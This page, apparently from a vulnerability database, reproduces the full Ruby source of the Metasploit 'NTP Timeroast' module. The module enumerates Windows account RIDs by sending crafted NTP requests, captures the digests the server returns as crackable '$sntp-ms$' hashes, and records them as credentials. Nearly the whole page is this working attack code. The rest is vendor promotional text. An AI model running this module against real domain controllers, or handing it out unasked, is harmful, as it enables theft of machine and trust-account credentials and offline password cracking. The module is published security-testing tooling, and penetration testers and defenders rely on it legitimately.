Lucene search
+L

NTP Timeroast

🗓️ 20 Dec 2024 18:55:44Reported by Tom Tervoort, Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 519 Views

Windows NTP abuse can recover hashes for offline cracking from sequential account RIDs.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NTP Timeroast',
        'Description' => %q{
          Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
          48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
          that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
          because RIDs are sequential, they can easily be enumerated.
        },
        'Author' => [
          'Tom Tervoort',
          'Spencer McIntyre'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://github.com/SecuraBV/Timeroast/'],
          ['URL', 'https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf'],
          ['ATT&CK', Mitre::Attack::Technique::T1110_002_PASSWORD_CRACKING]
        ],
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
    register_options([
      Opt::RPORT(123),
      OptIntRange.new('RIDS', [ true, 'The RIDs to enumerate (e.g. 1000-2000).' ]),
      OptInt.new('DELAY', [ true, 'The delay in milliseconds between attempts.', 20]),
      OptInt.new('TIMEOUT', [ true, 'The timeout in seconds to wait at the end for replies.', 5])
    ])
  end

  def validate
    super

    errors = {}
    errors['DELAY'] = 'DELAY can not be negative.' if datastore['DELAY'].to_i < 0
    errors['TIMEOUT'] = 'TIMEOUT can not be negative.' if datastore['TIMEOUT'].to_i < 0
    raise ::Msf::OptionValidateError, errors unless errors.empty?
  end

  def build_ntp_probe(rid)
    probe = Rex::Proto::NTP::Header::NTPHeader.new
    probe.leap_indicator = 3
    probe.version_number = 3
    probe.mode = Rex::Proto::NTP::Mode::CLIENT
    probe.key_identifier = [rid].pack('L>').unpack1('L<') # NTP uses big endian but MS uses little endian for this one field
    probe.message_digest = Random.random_bytes(OpenSSL::Digest.new('MD5').digest_length).unpack('C*')
    probe
  end

  def recv_response(timeout: 0)
    begin
      raw, = udp_sock.timed_recvfrom(68, timeout) # 68 is always the number of bytes expected
    rescue ::Rex::SocketError, ::IOError
      return nil
    end

    return nil if raw.nil? || raw.empty?

    Rex::Proto::NTP::Header::NTPHeader.read(raw)
  end

  def run_host(_ip)
    connect_udp

    delay = datastore['DELAY'].to_i
    pending = 0

    Msf::OptIntRange.parse(datastore['RIDS']).each do |rid|
      vprint_status("Checking RID: #{rid}")
      probe = build_ntp_probe(rid)
      udp_sock.put(probe.to_binary_s)
      pending += 1

      sleep(delay / 1000.0)

      response = recv_response
      next unless response

      process_response(response)
      pending -= 1
    end

    return if pending == 0

    print_status("Waiting on #{pending} pending responses...")
    remaining = 10
    while remaining > 0 && pending > 0
      response, elapsed_time = Rex::Stopwatch.elapsed_time do
        recv_response(timeout: remaining)
      end
      remaining -= elapsed_time
      next unless response

      process_response(response)
      pending -= 1
    end
  ensure
    disconnect_udp
  end

  def process_response(response)
    resp_rid = [response.key_identifier].pack('L<').unpack1('L>')
    message_digest = response.message_digest.pack('C*')
    salt = response.to_binary_s[0...response.offset_of(response.key_identifier)]
    hash = "$sntp-ms$#{message_digest.unpack1('H*')}$#{salt.unpack1('H*')}"

    print_good("Hash for RID: #{resp_rid} - #{resp_rid}:#{hash}")
    report_hash(hash)
  end

  def report_hash(hash)
    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'ntp',
      protocol: 'udp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      jtr_format: jtr_format
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation